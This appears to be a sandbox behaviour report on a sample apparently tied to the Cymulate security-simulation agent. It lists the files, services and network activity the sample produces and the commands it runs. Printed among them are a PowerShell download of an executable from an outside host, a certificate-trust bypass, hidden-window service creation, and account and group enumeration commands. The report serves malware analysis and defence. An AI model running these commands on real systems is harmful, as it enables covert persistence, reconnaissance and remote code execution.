Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\CymulateService] 'ImagePath' = '%PROGRAMDATA%\Cymulate\edr\5efb3feb35c8491fe60b8151\helpers\CymulateService.exe'
Malicious functions
Downloads
- http://re#####l.lionnets.com/cymulateedr/download/cymulateservice.exe as %programdata%\cymulate\edr\5efb3feb35c8491fe60b8151\helpers\cymulateservice.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\fc1e3851f429ea606d6ff1e01a5229f1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %TEMP%\xquonk3r.0.cs
- %TEMP%\xquonk3r.cmdline
- %TEMP%\xquonk3r.out
- %TEMP%\csce071.tmp
- %TEMP%\rese091.tmp
- %TEMP%\xquonk3r.dll
Deletes the following files
- %TEMP%\rese091.tmp
- %TEMP%\csce071.tmp
- %TEMP%\xquonk3r.cmdline
- %TEMP%\xquonk3r.out
- %TEMP%\xquonk3r.0.cs
- %TEMP%\xquonk3r.dll
- %TEMP%\xquonk3r.pdb
Network activity
TCP
- 're#####l.lionnets.com':443
UDP
- DNS ASK re#####l.lionnets.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xquonk3r.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE091.tmp" "%TEMP%\CSCE071.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce && echo 5efb3feb35c8491fe60b8151_5e57cf1a24577c60176869c0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "try{add-type 'using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult(ServicePo...
- '<SYSTEM32>\cmd.exe' /c powershell -command "try{add-type 'using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationRe...
- '<SYSTEM32>\sc.exe' delete ARTService
- '<SYSTEM32>\cmd.exe' /c sc.exe delete ARTService
- '<SYSTEM32>\sc.exe' create ARTService binPath="<SYSTEM32>\cmd.exe /c powershell.exe -nop -w hidden -command New-Item -ItemType File %PROGRAMDATA%\Cymulate\edr\5efb3feb35c8491fe60b8151\res\rt-marker.txt"
- '<SYSTEM32>\cmd.exe' /c sc.exe create ARTService binPath="%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File %PROGRAMDATA%\Cymulate\edr\5efb3feb35c8491fe60b8151\res\rt-marker.txt" && echo 5...
- '<SYSTEM32>\cmd.exe' /c ver && echo 5efb3feb35c8491fe60b8151_5e57cf1e24577c6017686c8b
- '<SYSTEM32>\sc.exe' query
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xquonk3r.cmdline"
- '<SYSTEM32>\cmd.exe' /c sc query && echo 5efb3feb35c8491fe60b8151_5e57cf1e24577c6017686c1f
- '<SYSTEM32>\net.exe' user
- '<SYSTEM32>\cmd.exe' /c net user && echo 5efb3feb35c8491fe60b8151_5e57cf1e24577c6017686b3a
- '<SYSTEM32>\sc.exe' delete CymulateService
- '<SYSTEM32>\sc.exe' start CymulateService
- '<SYSTEM32>\sc.exe' create CymulateService binPath= %PROGRAMDATA%\Cymulate\edr\5efb3feb35c8491fe60b8151\helpers\CymulateService.exe
- '<SYSTEM32>\cmd.exe' /c powershell -command "(New-Object System.Net.WebClient).DownloadFile( 'http://re#####l.lionnets.com/cymulateEDR/download/CymulateService.exe', '%PROGRAMDATA%\Cymulate\edr\5efb3feb35c8491fe60b...
- '<SYSTEM32>\cmd.exe' /c net localgroup administrators >> %PROGRAMDATA%\Cymulate\edr\5efb3feb35c8491fe60b8151\res\download && echo 5efb3feb35c8491fe60b8151_5e57cf1a24577c60176869e1
- '<SYSTEM32>\reg.exe' QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
- '<SYSTEM32>\net1.exe' user
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE091.tmp" "%TEMP%\CSCE071.tmp"
